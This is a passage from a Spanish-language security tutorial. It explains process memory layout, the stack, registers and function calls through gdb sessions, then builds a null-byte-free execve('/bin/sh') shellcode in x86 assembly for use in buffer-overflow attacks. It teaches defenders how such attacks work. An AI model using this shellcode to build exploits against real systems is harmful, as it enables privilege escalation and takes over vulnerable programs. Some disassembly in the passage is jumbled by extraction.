/bin/mail) o tienen modos de depuración peligrosos. Conclusión ¡Todo programa externo al Set-UID del superusuario debe validarse! Esto involucra a las variables de ambiente como también a los parámetros dados al programa (línea de comandos, archivo de configuración...); Los privilegios tienen que ser reducidos en cuanto el programa empiece y sólo deben aumentarse muy brevemente cuando no hay ningún otro medio; La " profundidad de la seguridad" es esencial: cada decisión de protección reduce el número de personas que la puedan romper. El próximo artículo hablaremos sobre la memoria, su organización, la llamadas de funciones... antes de alcanzar al desbordamiento de memoria temporal. Nosotros también veremos como se construye un shellcode. Parte II – Memoria, pila y funciones, código shell Memoria ¿Qué es un programa? Supongamos que un programa es un conjunto de instrucciones, expresado en código máquina (independientemente del lenguaje usado para escribirlo) que comunmente llamamos un binario o binary. Al compilarse para generar el archivo binario, el programa fuente contiene variables, constantes e instrucciones. Esta sección presenta la distribución de la memoria de las diferentes partes del binario. Las diferentes áreas Para entender lo que sucede mientras se ejecuta un binario, echémos un vistazo a la organización de la memoria. Recae en diferentes áreas: memory loyout Generalmente esto no es todo, pero solamente nos enfocamos en las partes que son mas importantes para este artículo. La orden size -A file --radix 16 devuelve el tamaño de cada área reservada al compilar. De ahí obtenemos sus direcciones de memoria (también puede usarse la orden objdump para obtener esta información). Aquí está la salida de size para un binario llamado "fct": >>size -A fct --radix 16 fct : section size addr .interp 0x13 0x80480f4 .note.ABI-tag 0x20 0x8048108 .hash 0x30 0x8048128 .dynsym 0x70 0x8048158 .dynstr 0x7a 0x80481c8 .gnu.version 0xe 0x8048242 .gnu.version_r 0x20 0x8048250 .rel.got 0x8 0x8048270 .rel.plt 0x20 0x8048278 .init 0x2f 0x8048298 .plt 0x50 0x80482c8 .text 0x12c 0x8048320 .fini 0x1a 0x804844c .rodata 0x14 0x8048468 .data 0xc 0x804947c .eh_frame 0x4 0x8049488 .ctors 0x8 0x804948c .dtors 0x8 0x8049494 .got 0x20 0x804949c .dynamic 0xa0 0x80494bc .bss .stab .stabstr .comment .note Total 0x18 0x804955c 0x978 0x0 0x13f6 0x0 0x16e 0x0 0x78 0x8049574 0x23c8 El área de texto contiene las instrucciones del programa. Esta área es de solo-lectura. Se comparte entre cada proceso que ejecuta el mismo binario. Al intentar escribir en esta área se genera un error segmentation violation . Antes de explicar las otras áreas, recordemos algunas cosas acerca de variables en C. Las variables global son usadas en el programa completo mientras que las variables locales son usadas solamente dentro de la función donde son declaradas. Las variables static tienen un tamaño conocido dependiendo del tipo con que son declaradas. Los tipos pueden ser char, int, double, pointers, etc. En una máquina tipo PC, un apuntador representa una dirección entera de 32 bits dentro de la memoria. Obviamente, el tamaño del área apuntada se desconoce durante la compilación. Una variable dynamic representa un área de memoria explícitamente reservada realmente es un apuntador que apunta a una dirección de memoria reservada. Las variables global/local, static/dynamic pueden combinarse sin problemas. Regresemos a la organización de la memoria para un proceso dado. El área de data almacena los datos estáticos globales inicializados (el valor es proporcionado en el momento de la compilación), mientras que el segmento bss contiene los datos globales no inicializados. Estas áreas se reservan en el momento de la compilación dado que su tamaño se define de acuerdo con los objetos que contienen. ¿Qué hay acerca de variables dinámicas y locales? Se agrupan en un área de memoria reservada para la ejecución del programa (user stack frame). Dado que las funciones pueden invocarse recursivamente, no se conoce con anticipación el número de instacias de una variable local. Al crearse serán colocadas en la pila o stack. Esta pila se encuentra hasta arriba de las direcciones mas altas dentro del espacio de direcciones del usuario, y trabaja de acuerdo con un modelo LIFO (Last In, First Out). El fondo del área del marco del usuario o user frame se usa para la colocación de variables dinámicas. A esta área se le llama heap : contiene las áreas de memoria direccionadas por apuntadores y variables dinámicas. Al declararse, un apuntador es una variable de 32 bits, ya sea en BSS o en la pila, y no apunta a alguna dirección válida. Cuando un proceso obtiene memoria (i.e. usando malloc) la dirección del primer byte de esa memoria (también un número de 32 bits) es colocado en el apuntador. Ejemplo detallado El siguiente ejemplo ilustra la distribución de la variable en memoria: /* mem.c */ int index = 1; //in data char * str; //in bss int nothing; //in bss void f(char c) { int i; //in the stack /* Reserves 5 characters in the heap */ str = (char*) malloc (5 * sizeof (char)); strncpy(str, "abcde", 5); } int main (void) { f(0); } El depurador gdb confirma todo esto. >>gdb mem GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) Pongamos un punto de rompimiento (breakpoint) en la función f() y ejecutemos el programa hasta este punto : (gdb) list 7 void f(char c) 8 { 9 int i; 10 str = (char*) malloc (5 * sizeof (char)); 11 strncpy (str, "abcde", 5); 12 } 13 14 int main (void) (gdb) break 12 Breakpoint 1 at 0x804842a: file mem.c, line 12. (gdb) run Starting program: mem Breakpoint 1, f (c=0 '\000') at mem.c:12 12 } Ahora podemos ver el lugar de las diferentes variables. 1. (gdb) print &index $1 = (int *) 0x80494a4 2. (gdb) info symbol 0x80494a4 index in section .data 3. (gdb) print &nothing $2 = (int *) 0x8049598 4. (gdb) info symbol 0x8049598 nothing in section .bss 5. (gdb) print str $3 = 0x80495a8 "abcde" 6. (gdb) info symbol 0x80495a8 No symbol matches 0x80495a8. 7. (gdb) print &str $4 = (char **) 0x804959c 8. (gdb) info symbol 0x804959c str in section .bss 9. (gdb) x 0x804959c 0x804959c <str>: 0x080495a8 10. (gdb) x/2x 0x080495a8 0x80495a8: 0x64636261 0x00000065 La orden en 1 (print &index) muestra la dirección de memoria para la variable global index. La segunda instrucción (info) proporciona el símbolo asociado a esta dirección y el lugar en la memoria donde puede ser encontrado : index, una variable estática global inicializada esta almacenada en el área data. Las instrucciones 3 y 4 confirman que la variable estática no inicializada nothing puede ser encontrada en el segmento BSS. La línea 5 despliega str ... de hecho el contenido de la variable str, o sea la dirección 0x80495a8. La instrucción 6 muestra que no se ha definido una variable en esta dirección. La orden 7 nos permite obtener la dirección de la variable str y la orden 8 indica que puede ser encontrada en el segmento BSS. En la 9, los 4 bytes desplegados corresponden al contenido de la memoria en la dirección 0x804959c : es una dirección reservada dentroi del heap. El contenido de la 10 muestra nuestra cadena "abcde" : hexadecimal value : 0x64 63 62 61 0x00000065 character : d c b a e Las variables locales c e i estan colocadas en la pila. Observamos que el tamaño devuelto por la orden size para las diferentes áreas no corresponde con lo que esperabamos al seguir nuestro programa. La razón es que aparecen otras variables diferentes declaradas en bibliotecas al ejecutar el programa (variables tipo info bajo gdb para generalizar). La pila (stack) y el montón (heap) Cada vez que se llama a una función, debe crearse un nuevo ambiente dentro de la memoria para las variables locales y los parámetros de la función (aquí ambiente significa todos los elementos qeue aparecen mientras se ejecuta una función : sus argumentos, sus variables locales, su dirección de regreso en la pila de ejecución... este no es el ambiente para las variables shell que mencionamos en el artículo anterior). El registro %esp (extended stack pointer) contiene la dirección de la parte mas alta de la pila, que esta en el fondo de nuestra representación, pero seguiremos llamandole la parte alta para completar la analogía con una pila de objetos reales, y apunta al último elemento agragado a la pila; dependiendo de la arquitectura, este registro puede apuntar algunas veces a al primer espacio libre en la pila. La dirección de una variable local dentro de la pila podría expresarse como un relativo a %esp. Sin embargo, siempre se estan agregando o quitando elementos a la pila, entonces el offeset de cada variable necesitaría ser reajustado y eso es muy ineficiente. El uso de un segundo apuntador permite mejorar eso : %ebp (extended base pointer) contiene la dirección de inicio del ambiente de la función actual. Así, es suficiente con expresar el offset relacionado con este registro. Permanece constante mientras se ejecuta la función. Ahora es fácil encontrar los parámetros y variables locales dentro de las funciones. La unidad básica de la pila es la palabra o word : en CPU's i386 es de 32 bits, es decir 4 bytes. Esto es diferente en otras arquitecturas. En CPU's Alpha una palabra es de 64 bits. La pila solamente maneja palabras, lo que significa que cada variable colocada usa el mismo tamaño de palabra. Veremos esto con mas detalle en la descripción de una función prolog. El despliegue del contenido de la variable str usando gdb en el ejemplo anterior lo ilustra. la orden gdbx despliega una palabra completa de 32 bits (se lee de izquierda a derecha ya que es una representación little endian). La pila es generalmente manipulada con solo dos instrucciones de cpu : ● push value : esta instrucción pone el valor en la cima de la pila. Decrementa %esp en una palabra para obtener la dirección de la siguiente palabra disponile en la pila, y almacena el value dado como un argumento en esa palabra; ● pop dest : pone en 'dest' el elemento de la cima de la pila. Pone en dest el valor contenido en la dirección a la que %esp apunta e incrementa el registro %esp. Nada es realmente quitado de la pila, para ser preciso. Solo cambia el apuntador a la cima de la pila. Los registros ¿Qué son exactamente los registros? Pueden verse como cajones que contienen solamente una palabera, mientras que la memoria esta hecha de una serie de palabras. Cada vez que se coloca un nuevo valor en un registro, se pierde el valor anterior. Los registros permiten comunicación directa entre memoria y CPU. La primera 'e' que aparece en el nombre de los registros significa "extended" e indica la evolución entre las viejas arquitecturas de 16 bits y las actuales de 32 bits. Los registros pueden dividirse en 4 categorías : 1. registros generales : %eax, %ebx, %ecx and %edx usados para manipular datos; 2. registros de segmento : 16bit %cs, %ds, %esx and %ss, contienen la primera parte de una dirección de memoria; 3. regsitros de offset : indican un offset relacionado con un registro de segmento : ● %eip (Extended Instruction Pointer) : indica la dirección de la siguiente instrucción que será ejecutada; ● %ebp (Extended Base Pointer) : indica el inicio del ambiente local para una función; ● %esi (Extended Source Index) : contiene el offset los datos fuente en una operación que usa un bloque de memoria; ● %edi (Extended Destination Index) : contiene el offset de los datos destino de datos en una operación que usa un bloque de memoria; ● %esp (Extended Stack Pointer) : la cima de la pila; 4. registros especiales : son usados únicamente por el CPU. Nota: todo lo dicho aquí acerca de registros es orientado a x86; alpha, sparc, etc tienen registros con nombres diferentes pero con funciones similares. Las funciones Introducción Esta sección presenta el comportamiento de un programa desde su llamada hasta su finalización. Durante esta sección usaremos el siguiente ejemplo : /* fct.c */ void toto(int i, int j) { char str[5] = "abcde"; int k = 3; j = 0; return; } int main(int argc, char **argv) { int i = 1; toto(1, 2); i = 0; printf("i=%d\n",i); } El propósito de esta sección es explicar el comportamiento de las funciones de arriba tomando en cuenta la pila y los registros. Algunosa ataques tratan de cambiar la manera en que se ejecuta un programa. Para entenderlos, es útil conocer lo que sucede normalmente. La ejecución de una función se divide en tres pasos : 1. el prólogo (prolog) : al iniciar una función, ya se preparó el escenario, guardando el estado de la pila antes de iniciar la función y reservando la memoria necesaria para ejecutarla; 2. el llamado a la función (call) : cuando se llama a una función, sus parámetros se colocan en la pila y se guarda el apuntador de instrucción (IP) para permitir que la ejecución de la instrucción continúe a partir del lugar correcto cuando haya concluido la ejecución de la función; 3. el regreso de la función (return) : dejar las cosas como estaban antes de llamar a la función. El prólogo Una función siempre empieza con las instrucciones : push %ebp mov %esp,%ebp push $0xc,%esp //$0xc depends on each program Estas tres instrucciones constituyen lo que se conoce como el prólogo (prolog). El diagrama 1 detalla la manera en que trabaja la función de prolog toto() explicando las partes de los registros %ebp and %esp : Inicialmente, %ebp apunta en la memoria a cualquier dirección X. %esp está mas abajo en la pila, en la dirección Y y apunta a la última entrada de la pila. Al prolog iniciar una función, se debe salvar el "ambiente actual", es decir %ebp. Dado que se coloca %ebp dentro de la pila, %esp se decrementa por una palabra de memoria. Esta segunda instrucción permite construir un nuevo "ambiente", colocando a %ebp en la cima de la pila. environment Entonces %ebp y %esp apuntan a la misma palabra de memoria que contiene la dirección del ambiente previo. Ahora tiene que reservarse el espacio de pila para las variables locales. El arreglo de caracteres es definido con 5 elementos y necesita 5 bytes (un char es un byte). Sin embargo la pila solo maneja words, y solo puede reservar múltiplos de un word (1 word, 2 words, 3 words, ...). Para almacenar 5 bytes en el caso de un stack space for local variables word de 4 bytes, se deben usar 8 bytes (es decir 2 words). La parte en gris podría usarse, aún cuando realmente no es parte de la cadena. El entero k usa 4 bytes. Este espacio es reservado decrementando 0xc (12 in hexadecimal) al valor de %esp . Las variables locales usan 8+4=12 bytes (i.e. 3 words). Diag. 1 : prólogo de una función Además del mecanismo mismo, lo importante a recordar aquí es la posición de las variables locales : las variables locales tienen un offset negativo en relación con %ebp. La instrucción i=0 en la función main() ilustra esto. El código de ensamblador (cf. debajo) usa direccionamiento indirecto para accesar a la variable i : 0x8048411 <main+25>: movl $0x0,0xfffffffc(%ebp) El hexadecimal 0xfffffffc representa el entero -4. La notación indica colocar el valor 0 en la variable que se encuentra a "-4 bytes" en relación con el registro %ebp. i es la primera y única variable en la función main(), por tanto su dirección está 4 bytes (i.e. tamaño entero) "debajo" del registro %ebp. La llamada De igual forma que el prólogo de una función prepara su ambiente, la llamada a una función le permite a esta función recibir sus argumentos, y una vez concluida, regresar a la función que la llamó. Como ejemplo, tomemos la llamada a toto(1, 2). argument on stack call Antes de llamar a una función, se almacenan en la pila los argumentos que necesita. En nuesro ejemplo, los dos enteros constante 1 y 2 se almacenan en la pila primero, comenzando con el último. El registro %eip contiene la dirección de la siguiente instrucción a ejecutar, en este caso la llamada a la función. Al ejecutar la instrucción call, %eip toma el valor de la dirección de la siguiente instrucción que se encuentra 5 bytes después (call es una instrucción de 5 byte - cada instrucción no usa el mismo espacio, dependiendo del CPU). Entonces call guarda la dirección contenida en %eip para poder regresar a la ejecución después de correr la función. Este "respaldo" se hace con una instrucción implícita que guarda el registro en la pila : push %eip El valor dado a call como un argumento corresponde a a dirección de la primera instrucción del prólogo de la función toto(). Entonces esta dirección es copiada a %eip, así se convierte en la siguiente instrucción a ejecutar. Diag. 2 : Llamada a función Una vez que estamos en el cuerpo de la función, sus argumentos y la dirección de regreso tienen un offset positivo en relación a %ebp, ya que la siguiente instrucción coloca a este registro en la cima de la pila. La instrucción j=0 en la función toto() ilustra esto. El código Ensamblador otra vez usa direccionamiento indirecto para accesar a j : 0x80483ed <toto+29>: movl $0x0,0xc(%ebp) El hexadecimal 0xc representa el entero +12. La notación indica colocar el valor 0 en la variable que se encuentra "+12 bytes" en relación al registro %ebp. j es el segundo argumento de la función y se encuentra 12 bytes "arriba" del registro %ebp (4 para el respaldo del apuntador de instrucción, 4 para el primer argumento y 4 para el segundo argumento - cf. el primer diagrama en la sección regreso) El regreso La salida de una función se hace en dos pasos. Primero debe limpiarse el ambiente creado para la función (i.e. poniendo %ebp y %eip como estaban antes de la llamada a la función). Una vez hecho esto, se debe checar la pila para obtener información relacionada con la función de la que estamos saliendo. El primer paso se hace dentro de la función con las instrucciones : leave ret La siguiente se realiza dentro de la función donde se hizo la llamada y consiste en limpiar de la pila los argumentos de la función llamada. Tomemos el ejemplo anterior de la función toto(). initial situation Aquí describimos la situación inicial antes de la llamada y el prólogo. Antes de la llamada, , %ebp estaba en la dirección X y %esp en la dirección Y . >A partir de ahí colocamos en la pila los argumentos de la función, guradammos %eip y %ebp y reservamos algo de espacio para nuestras variables locales. La siguiente instrucción ejecutada será leave. La instrucción leave es equivalente a la secuencia : mov ebp esp pop ebp leave restore stacking of parametres La primera regresa a %esp y %ebp al mismo lugar en la pila. La segunda coloca la cima de la pila en el registro %ebp. Con solamente una instrucción (leave), la pila está como habría estado sin el prólogo. La instrucción ret restaura %eip de tal manera que la ejecución de la función que hizo la llamada, inicia de nuevo donde debería, es decir después de la función que estamos terminando. Por esto, es suficiente con tomar el contenido de la cima de la pila y colocarlo en %eip. Aún no estamos en la situación inicial ya que los argumentos de la función todavía estan en la pila. La siguiente instrucción será quitarlos, representada con su dirección Z+5 en %eip (notemos que el direccionamiento de instrucción se incrementa, al contrario de lo que sucede con la pila). La colocación de parámetros en la pila se hace en la función que hace la llamada, lo mismo sucede con la remoción de ellos de la pila. Esto se ilustra en el diagrama opuesto con el separador entre las instrucciones en la función llamaday el add 0x8, %esp en la función que la llama. Esta instrucción regresa a la cima de la pila tantos bytes como parámetros usados por la función toto(). Los registros %ebp y %esp estan ahora en la situación que estaban antes de la llamada. Por otro lado, el regsitro de instrucción %eip se movió hacia arriba. Diag. 3 : Regreso de la función Desensamblado gdb permite obtener el código Ensamblador correspondiente a las funciones main() y toto() : >>gcc -g -o fct fct.c >>gdb fct GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disassemble main //main Dump of assembler code for function main: 0x80483f8 <main>: push %ebp //prolog 0x80483f9 <main+1>: mov %esp,%ebp 0x80483fb <main+3>: sub $0x4,%esp 0x80483fe <main+6>: movl $0x1,0xfffffffc(%ebp) 0x8048405 <main+13>: push $0x2 //call 0x8048407 <main+15>: push $0x1 0x8048409 <main+17>: call 0x80483d0 <toto> 0x804840e <main+22>: add $0x8,%esp //return from toto() 0x8048411 <main+25>: movl $0x0,0xfffffffc(%ebp) 0x8048418 <main+32>: mov 0xfffffffc(%ebp),%eax 0x804841b <main+35>: push %eax //call 0x804841c <main+36>: push $0x8048486 0x8048421 <main+41>: call 0x8048308 <printf> 0x8048426 <main+46>: add $0x8,%esp //return from printf() 0x8048429 <main+49>: leave //return from main() 0x804842a <main+50>: ret End of assembler dump. (gdb) disassemble toto //toto Dump of assembler code for function toto: 0x80483d0 <toto>: push %ebp //prolog 0x80483d1 <toto+1>: mov %esp,%ebp 0x80483d3 <toto+3>: sub $0xc,%esp 0x80483d6 <toto+6>: mov 0x80483db <toto+11>: mov 0x80483de <toto+14>: mov 0x80483e3 <toto+19>: mov 0x80483e6 <toto+22>: movl 0x80483ed <toto+29>: movl 0x80483f4 <toto+36>: jmp 0x80483f6 <toto+38>: leave 0x80483f7 <toto+39>: ret End of assembler dump. 0x8048480,%eax %eax,0xfffffff8(%ebp) 0x8048484,%al %al,0xfffffffc(%ebp) $0x3,0xfffffff4(%ebp) $0x0,0xc(%ebp) 0x80483f6 <toto+38> //return from toto() Las instrucciones sin color corresponden a las instrucciones de nuestro programa, como asignaciones para instancias. Creando un código shell En algunos casos es posible actuar sobre el contenido de la pila de proceso, sobreescribiendo la dirección de regreso de una fucnión y haciendo que la aplicación ejecute algún código arbitrario. Es especialmente interesante para un cracker si la aplicación se ejecuta bajo una ID diferente de la del usuario (Colocando programa o demonio-UID). Este tipo de error es particularmente peligroso si una aplicación como un lector de documentos es arrancado por algún otro usuario. El famoso error del Acrobat Reader, donde un documento modificado era capaz de generar un sobreflujo del buffer. También ocurre en servicios de red (ie : imap). Aquí iniciamos estudiando el código mismo, el que queremos ejecutar desde la aplicación principal. La solución mas simple es con un pedazo de código que corra un shell. Entonces el lector puede realizar otras acciones como cambiar los permisos del archivo /etc/passwd. Por razones que mas adelante resultarán obvias, este programa debe hacerse en lenguaje Ensamblador. Este tipo de programa pequeño que se usa para ejecutar un shell se conoce como código shell o shellcode. Los ejemplos mencionados estan inspirados en el articulo de Aleph One' "Smashing the Stack for Fun and Profit" del número 49 de la revista Phrack. Con lenguaje C El propósito de un shellcode es ejecutar un shell. El siguiente programa C hace esto : /* shellcode1.c */ #include <stdio.h> #include <unistd.h> int main() { char * name[] = {"/bin/sh", NULL}; execve(name[0], name, NULL); return (0); } Entre el conjunto de funciones capaces de llamar a un shell, hay muchas razones que recomiendan el usro de execve(). Primero, es una verdadera llamada a sistema, a diferencia de las otras funciones de la familia exec(), que son en realidad funciones de la biblioteca GlibC construidas a partir de execve(). Una llamada a sistema se hace mediante una interrupción. Basta con definir los registros y sus contenidos para obtener un pequeño código Ensamblador efectivo. Aún mas, si execve() tiene éxito, el programa que hace la llamada (en este caso la aplicación principal) es sustituido por el código ejecutable del nuevo programa e inicia su ejecución. Cuando la llamada a execve()falla, continua la ejecución del programa. En nuestro ejemplo, el código fue insertado en la mitad de la aplicación atacada. Continuar con la ejecución no tendría sentido e incluso podría ser desastroso. Por tanto, la ejecución debe terminar tan pronto como sea posible. Una sentencia return (0) permite salir de un programa solamente cuando es llamada desde la función main(), lo cuál no ocurre aquí. Entonces debemos forzar la terminación mediante la función exit(). /* shellcode2.c */ #include <stdio.h> #include <unistd.h> int main() { char * name [] = {"/bin/sh", NULL}; execve (name [0], name, NULL); exit (0); } De hecho, exit() es otra función de la biblioteca que envuelve a la llamada al sistema _exit(). Un nuevo cambio nos lleva aún mas cerca del sistema : /* shellcode3.c */ #include <unistd.h> #include <stdio.h> int main() { char * name [] = {"/bin/sh", NULL}; execve (name [0], name, NULL); _exit(0); } Ahora, es momento de comparar nuestro programa con su equivalente Ensamblador. Llamadas de Ensamblador Usaremos gcc y gdb para obtener las instrucciones Ensamblador correspondientes a nuestro pequeño programa. to get the Assembly instructions corresponding to our small program. Compilaremos shellcode3.c con la opción de depuración (-g) e integraremos dentro del programa mismo las funciones normalmente encontradas en bibliotecas compartidas con la opción --static. Ahora tenemos la información necesaria para entender la manera en que trabajan las llamadas a sistema _exexve() y _exit(). $ gcc -o shellcode3 shellcode3.c -O2 -g --static Luego, con gdb, buscamos nuestras funciones equivalentes en Ensamblador. Esto es para Linux en plataforma Intel (i386 y posteriores). $ gdb shellcode3 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... Le pedimos a gdb que liste el código Ensamblador, más particularmente la función main(). (gdb) disassemble main Dump of assembler code for function main: 0x8048168 <main>: push %ebp 0x8048169 <main+1>: mov %esp,%ebp 0x804816b <main+3>: sub $0x8,%esp 0x804816e <main+6>: movl $0x0,0xfffffff8(%ebp) 0x8048175 <main+13>: movl $0x0,0xfffffffc(%ebp) 0x804817c <main+20>: mov $0x8071ea8,%edx 0x8048181 <main+25>: mov %edx,0xfffffff8(%ebp) 0x8048184 <main+28>: push $0x0 0x8048186 <main+30>: lea 0xfffffff8(%ebp),%eax 0x8048189 <main+33>: push %eax 0x804818a <main+34>: push %edx 0x804818b <main+35>: call 0x804d9ac <__execve> 0x8048190 <main+40>: push $0x0 0x8048192 <main+42>: call 0x804d990 <_exit> 0x8048197 <main+47>: nop End of assembler dump. (gdb) Las llamadas a funciones en las direcciones 0x804818b y 0x8048192 invocan a las subrutinas de la biblioteca de C que contienen las llamadas reales al sistema. Note que la instrucción 0x804817c : mov $0x8071ea8,%edx llena el registro %edx con un valor que parece una dirección. Examinemos el contenido de la memoria de esta dirección, desplegándola como una cadena : (gdb) printf "%s\n", 0x8071ea8 /bin/sh (gdb) Ahora sabemos dónde está la cadena.Echémos un vistazo a el listado de desensamblado de las funciones execve() y _exit() : (gdb) disassemble __execve Dump of assembler code for function __execve: 0x804d9ac <__execve>: push %ebp 0x804d9ad <__execve+1>: mov %esp,%ebp 0x804d9af <__execve+3>: push %edi 0x804d9b0 <__execve+4>: push %ebx 0x804d9b1 <__execve+5>: mov 0x8(%ebp),%edi 0x804d9b4 <__execve+8>: mov $0x0,%eax 0x804d9b9 <__execve+13>: test %eax,%eax 0x804d9bb <__execve+15>: je 0x804d9c2 <__execve+22> 0x804d9bd <__execve+17>: call 0x0 0x804d9c2 <__execve+22>: mov 0xc(%ebp),%ecx 0x804d9c5 <__execve+25>: mov 0x10(%ebp),%edx 0x804d9c8 <__execve+28>: push %ebx 0x804d9c9 <__execve+29>: mov %edi,%ebx 0x804d9cb <__execve+31>: mov $0xb,%eax 0x804d9d0 <__execve+36>: int $0x80 0x804d9d2 <__execve+38>: pop %ebx 0x804d9d3 <__execve+39>: mov %eax,%ebx 0x804d9d5 <__execve+41>: cmp $0xfffff000,%ebx 0x804d9db <__execve+47>: jbe 0x804d9eb <__execve+63> 0x804d9dd <__execve+49>: call 0x8048c84 <__errno_location> 0x804d9e2 <__execve+54>: neg %ebx 0x804d9e4 <__execve+56>: mov %ebx,(%eax) 0x804d9e6 <__execve+58>: mov $0xffffffff,%ebx 0x804d9eb <__execve+63>: mov %ebx,%eax 0x804d9ed <__execve+65>: lea 0xfffffff8(%ebp),%esp 0x804d9f0 <__execve+68>: pop %ebx 0x804d9f1 <__execve+69>: pop %edi 0x804d9f2 <__execve+70>: leave 0x804d9f3 <__execve+71>: ret End of assembler dump. (gdb) disassemble _exit Dump of assembler code for function _exit: 0x804d990 <_exit>: mov %ebx,%edx 0x804d992 <_exit+2>: mov 0x4(%esp,1),%ebx 0x804d996 <_exit+6>: mov $0x1,%eax 0x804d99b <_exit+11>: int $0x80 0x804d99d <_exit+13>: mov %edx,%ebx 0x804d99f <_exit+15>: cmp $0xfffff001,%eax 0x804d9a4 <_exit+20>: jae 0x804dd90 <__syscall_error> End of assembler dump. (gdb) quit La llamada real al kernel se hace mediante la interrupción 0x80, en la dirección 0x804d9d0 para execve() y en 0x804d99b para _exit(). Este punto es común para varias llamadas al sistema, así que la distinción se hace con el contenido del registro %eax. Respecto a execve(), tiene el valor 0x0B, mientras que _exit() tiene el 0x01. El análisis de las instrucciones de estas funciones en Ensamblador nos proporcionan los parámetros que usan : ● execve() necesita varios parámetros : ● el registro %ebx contiene la dirección de la cadena que representa el comando a ejecutar, en nuestro ejemplo "/bin/sh" (0x804d9b1 : mov 0x8(%ebp),%edi seguido por 0x804d9c9 : mov %edi,%ebx) ; ● el registro %ecx contiene la dirección del arreglo argumento (0x804d9c2 : mov 0xc(%ebp),%ecx). El primer argumento debe ser el nombre del programa y no necesitamos más : un arreglo que contiene la dirección de la cadena "/bin/sh" y un apuntador NULL será suficiente; ● el registro %edx contiene la dirección del arreglo que representa el programa que inicia el ambiente (0x804d9c5 : mov 0x10(%ebp),%edx). Para mantener nuestro programa simple usaremos un ambiente vacío : basta con un apuntador a NULL. ● la función _exit() termina el proceso, y regresa un código de ejecución a su padre (generalmente un shell), contenido en el registro %ebx ; Ahora necesitamos la cadena "/bin/sh", un apuntador a esta cadena y un apuntador NULL (para los argumentos dado que no tenemos alguno y para el ambiente dado que tampoco definimos alguno). Podemos ver una posible representación de datos antes de la llamada a execve(). Al construir un arreglo con un apuntador a la cadena /bin/sh seguida por un apuntador NULL , el registro %ebx apuntará a la cadena, el registro %ecx al arreglo completo, y el registro %edx al segundo elemento del arreglo (NULL). Localizando el código shell dentro de la memoria El código shell generalmente se inserta dentro de un programa vulnerable através de un argumento de línea de comando, una variable de ambiente o una cadena tecleada. De cualquier manera, cuande se crea el código shell no se conoce la dirección que usará. Sin embargo, debemos conocer la dirección de la cadena "/bin/sh". Un pequeño truco nos permite obtenerla. Cuando se llama a una subrutina con la instrucción call, el CPU almacena la dirección de regreso en la pila, que es la dirección que sigue inmediatamente a esta insrucción call (ver arriba). Generalmente el paso siguiente es almacenar el estado de la pila (especialemente el registro %ebp con la instrucción push %ebp). Para obtener la dirección de regreso al arrancar a subrutina, basta con sacar el elemento de la cima de la pila mediante la instrucción pop. Por supuesto, entonces se almacena la cadena "/bin/sh" inmediatamente después de la instrucción call para permitir que el "prólogo hecho en casa" proporcione la requerida dirección de la cadena. Es decir : beginning_of_shellcode: jmp subroutine_call subroutine: popl %esi ... (Shellcode itself) ... subroutine_call: call subroutine /bin/sh Por supuesto, la subrutina no es real: la llamada a execve() tiene éxito, y el proceso es sustituido por un shell, o falla y la función _exit() termina el programa. El registro %esi proporciona la dirección de la cadena "/bin/sh". Entonces, es suficiente para construir el arreglo poniéndolo exactamente después de la cadena : su primer elemento (en %esi+8, la longitud de /bin/sh + un byte null) contiene el valor del registro %esi, y su segundo elemento en %esi+12 una dirección null (32 bit). El código se verá así : popl %esi movl %esi, 0x8(%esi) movl $0x00, 0xc(%esi) El probema de los bytes null Con frecuencia las funciones vulnerables con rutinas de manipulación de cadenas como strcpy(). Para insertar el código en medio de una aplicación destino, el código shell tiene que copiarse como una cadena. Sin embargo estas rutinas de copiado se detienen tan pronto como encuentran un caracter null. Por lo que nuestro código no debe contenerlos. Con algunos trucos estaremos prevenidos de escribir bytes null. Por ejemplo, la instrucción movl $0x00, 0x0c(%esi) será sustituida con xorl %eax, %eax movl %eax, %0x0c(%esi) Este ejemplo muestra el uso de un byte null. Sin embargo las traducción de algunas instrucciones a hexadecimal pueden revelar bytes null. Por ejemplo, para hacer la distinción entre la llamada a sistema _exit(0) y otras, el valor del registro %eax es 1, como se ve en 0x804d996 <_exit+6>: mov $0x1,%eax Convertida a decimal, esta cadena se convierte en : b8 01 00 00 00 mov $0x1,%eax Debe evitarse su uso. De hecho, el truco es inicializar el registro %eax con un valor de 0 e incrementarlo. Por otro lado, la cadena "/bin/sh" debe terminar con un byte null. Puede escribirse al crear el código shell, pero, dependiendo del mecanismo usado para insertarlo en un programa, este byte null puede no estar presente en el final de la aplicación. Es mejor agregar uno de esta manera : /* movb solamente trabaja sobre un byte */ /* esta instrucción es equivalente a */ /* movb %al, 0x07(%esi) */ movb %eax, 0x07(%esi) Construyendo el código shell Ahora ya tenemos todo para crear nuestro código shell : /* shellcode4.c */ int main() { asm("jmp subroutine_call subrutina: /* obtenemos la dirección de /bin/sh*/ popl %esi /* la escribimos como primer elemento del arreglo */ movl %esi,0x8(%esi) /* escribimos NULL como segundo elemento del arreglo */ xorl %eax,%eax movl %eax,0xc(%esi) /* colocamos el byte null al final de la cadena */ movb %eax,0x7(%esi) /* función execve() */ movb $0xb,%al /* colocamos en %ebx la cadena que será ejecutada*/ movl %esi, %ebx /* colocamos en %ecx el arreglo de argumentos*/ leal 0x8(%esi),%ecx /* colocamos en %edx el ambiente del arreglo*/ leal 0xc(%esi),%edx /* System-call */ int $0x80 /* Null return code */ xorl %ebx,%ebx /* _exit() function : %eax = 1 */ movl %ebx,%eax inc %eax /* System-call */ int $0x80 subroutine_call: subroutine_call .string \"/bin/sh\" "); } El código se compila con "gcc -o shellcode4 shellcode4.c". La orden "objdump --disassemble shellcode4" asegura que nuestro binario no contiene mas bytes null : 08048398 <main>: 8048398: 55 8048399: 89 e5 804839b: eb 1f <subroutine_call> 0804839d <subroutine>: 804839d: 5e 804839e: 89 76 08 80483a1: 31 c0 80483a3: 89 46 0c 